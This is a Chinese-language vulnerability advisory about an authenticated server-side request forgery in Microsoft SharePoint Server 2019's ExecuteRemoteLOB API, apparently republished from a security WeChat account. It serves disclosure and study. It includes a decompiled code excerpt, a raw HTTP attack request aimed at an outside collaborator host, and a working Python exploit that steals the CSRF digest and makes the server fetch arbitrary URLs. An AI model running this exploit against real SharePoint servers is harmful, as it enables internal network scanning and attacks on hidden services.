前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >Microsoft SharePoint身份验证后SSRF漏洞

Microsoft SharePoint身份验证后SSRF漏洞

作者头像
信安百科
修改2023-05-24 21:15:06
6810
修改2023-05-24 21:15:06
举报
文章被收录于专栏:信安百科信安百科

0x00概述

在Microsoft SharePoint Server 2019中发现了一个服务器端请求伪造(SSRF),它允许远程身份验证用户向任意URL发送HTTP(S)请求并读取响应。<site>/_api/web/ExecuteRemoteLOB易受服务器端请求伪造(SSRF)攻击。 HTTP(S)请求在请求方法、路径、头和正文中都是高度可定制的。具有执行SSRF攻击能力的攻击者可以扫描内部网络,检查主机本地网络上是否存在服务,并可能利用其他web服务进行攻击。

0x01测试环境

代码语言:txt
复制
 Windows Server 2022 + SharePoint Server 2019 - 16.0.10386.20011(with KB5002207, May 2022 update)

0x02受影响版本

代码语言:txt
复制
     Microsoft SharePoint Server 2019 <= 16.0.10386.20011 (May 2022 update)

0x03漏洞描述

在检查类Microsoft.SharePoint.ServerStub.SPWebServerStub的时候,找到了

<site>/_api/web/ExecuteRemoteLOB中有"Remote"的操作,经过调试,Microsoft.SharePoint.BusinessData.SystemSpecific.OData.ODataHybridHelper.InvokeODataService (Stream inputStream) 在Microsoft.SharePoint.dll中的函数处理的,它的作用类似于HTTP代理服务。它将接受用户输入来创建HttpWebRequest对象,发出请求,然后返回响应体。

代码语言:txt
复制
   函数InvokeODataService (Stream inputStream)的主要部分如下:
代码语言:javascript
复制
// [1]
    ODataHybridHeaderProcessor.ValidateODataHeaders(headers);
    string text;
    string text2;
    ODataAuthenticationMode odataAuthenticationMode;
    string text3;
    string text4;
    ODataHybridHeaderProcessor.GetODataServiceInfo(headers, out text, out text2, out odataAuthenticationMode, out text3, out text4);

// [2]
    HttpWebRequest httpWebRequest = WebRequest.Create(text) as HttpWebRequest;
    httpWebRequest.UserAgent = "Microsoft.Sharepoint";
    httpWebRequest.Method = text2;
    IDictionary<string, string> odataRequestHeaders = ODataHybridHeaderProcessor.GetODataRequestHeaders(headers);
    ODataHybridHelper.SetRequestHeaders(httpWebRequest, odataRequestHeaders);

// [3]
    if (text2 == "POST" || text2 == "PUT")
    {
        using (Stream requestStream = httpWebRequest.GetRequestStream())
        {
            inputStream.CopyTo(requestStream);
        }
    }

// [4]
    ODataHybridHelper.SetRequestAuthentication(httpWebRequest, odataAuthenticationMode, text3, text4, spoCorrelationId);
    httpWebResponse = ODataHybridHelper.ExecuteRequest(httpWebRequest, spoLobId, odataAuthenticationMode, spoCorrelationId);

    // [5]
    ODataHybridHeaderProcessor.SetODataResponseHeaders(httpWebResponse.Headers);
    stream = httpWebResponse.GetResponseStream();
    result = stream;
return result;

在1,函数ValidateODataHeaders首先确保头“BCSOData-Url”,“BCSOData-AuthenticationMode”,“BCSOData-HttpMethod”,“BCSOData-SsoApplicationId”和“BCSOData-SsoProviderImplementation”出现在原始请求中。然后函数GetODataServiceInfo从这些头文件中提取值到变量中,这些变量用于在2上创建HttpWebRequest对象。该对象是服务器稍后将发送的SSRF请求。

然后,调用函数GetODataRequestHeaders和SetRequestHeaders来提取其余以“BCSOData-”开头的头,并将它们附加到SSRF请求头列表中。

在3,如果头部“BCSOData-HttpMethod”是POST或PUT,则源请求体被复制到SSRF请求。最后,SSRF请求在4发送,它的响应在5返回。

代码语言:javascript
复制
POST /my/_api/web/ExecuteRemoteLOB HTTP/1.1
Host: cr-srv01
Accept: application/json
BCSOData-Url: http://gqa847opq6818tt8qf100fnqrhx8lx.oastify.com/test?aa=11&bb=22
BCSOData-AuthenticationMode: 1
BCSOData-HttpMethod: POST
BCSOData-SsoApplicationId: 0
BCSOData-SsoProviderImplementation: Microsoft.Office.SecureStoreService.Server.SecureStoreProvider, Microsoft.Office.SecureStoreService, Version=14.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c
BCSOData-custom-header1: value1
BCSOData-custom-header2: value2
X-RequestDigest: 0xC356CCFFC1A066D89BD439A721456F80F15384CFF57F82B325282E9A59E0322713F87ACD56CD4C5792AE53A3324697173877A15C20FC92176D0EAB68DC55AB2E,12 May 2022 08:02:33 -0000
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

post body

0x04攻击条件与约束

代码语言:txt
复制
    攻击者必须是经过身份验证的用户,并能够访问有效的SharePoint站点。默认的站点 /my/ 应该可以工作。
代码语言:txt
复制
只有当状态码为2xx时,才会返回SSRF请求的响应体。否则,ODataHybridException将被抛出。
代码语言:txt
复制
    原始请求中的报头X-RequestDigest是一个CSRF令牌。要获得正确的值,只需发送一个带有错误值的请求,服务器就会返回正确的值。

0x05Proof-of-Concept

代码语言:javascript
复制
#!/usr/bin/env python3
import argparse
import requests
from requests_ntlm2 import HttpNtlmAuth

def _parse_args():
    parser = argparse.ArgumentParser()
    parser.add_argument('-u', metavar='DOMAIN\\USERNAME', required=True)
    parser.add_argument('-p', metavar='PASSWORD', required=True)
    parser.add_argument('-s', metavar='SITE_URL',
                        help='The user must have access to this site. Usually http://sharepoint.example.com/my/ works',
                        required=True)
    return parser.parse_args()

def exploit(username, password, site_url):
    auth = HttpNtlmAuth(username, password)
    r = requests.post(f'{site_url}/_api/web/ExecuteRemoteLOB', auth=auth, allow_redirects=False)
    if r.status_code != 403:
        raise Exception(f'expect status code 403, got {r.status_code}')
    headers = {
        'BCSOData-Url': 'https://c3g4h31l32lxlp643bewdb0m4da5yu.oastify.com/test',  # SSRF url
        'BCSOData-AuthenticationMode': '1',
        'BCSOData-HttpMethod': 'POST',  # request method
        'BCSOData-SsoApplicationId': '0',
        'BCSOData-SsoProviderImplementation': '0',
        'BCSOData-custom-header1': 'value1',  # custom headers
        'BCSOData-custom-header2': 'value2',
        'X-RequestDigest': r.headers['X-RequestDigest'],
    }
    post_data = 'post body'  # request body if the HttpMethod is POST/PUT
    r = requests.post(f'{site_url}/_api/web/ExecuteRemoteLOB', auth=auth, allow_redirects=False, headers=headers,
                      data=post_data)
    print(f'payload sent, got response ({len(r.content)} bytes):')
    print(r.content)

if __name__ == '__main__':
    arg = _parse_args()
    exploit(arg.u, arg.p, arg.s)

如下图所示,恶意请求URL的完整HTTP响应将被返回。

本文参与 腾讯云自媒体分享计划,分享自微信公众号。
原始发表:2022-11-16,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 信安百科 微信公众号,前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体分享计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 0x00概述
  • 0x01测试环境
  • 0x02受影响版本
  • 0x03漏洞描述
  • 0x04攻击条件与约束
  • 0x05Proof-of-Concept
相关产品与服务
多因子身份认证
多因子身份认证(Multi-factor Authentication Service,MFAS)的目的是建立一个多层次的防御体系,通过结合两种或三种认证因子(基于记忆的/基于持有物的/基于生物特征的认证因子)验证访问者的身份,使系统或资源更加安全。攻击者即使破解单一因子(如口令、人脸),应用的安全依然可以得到保障。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档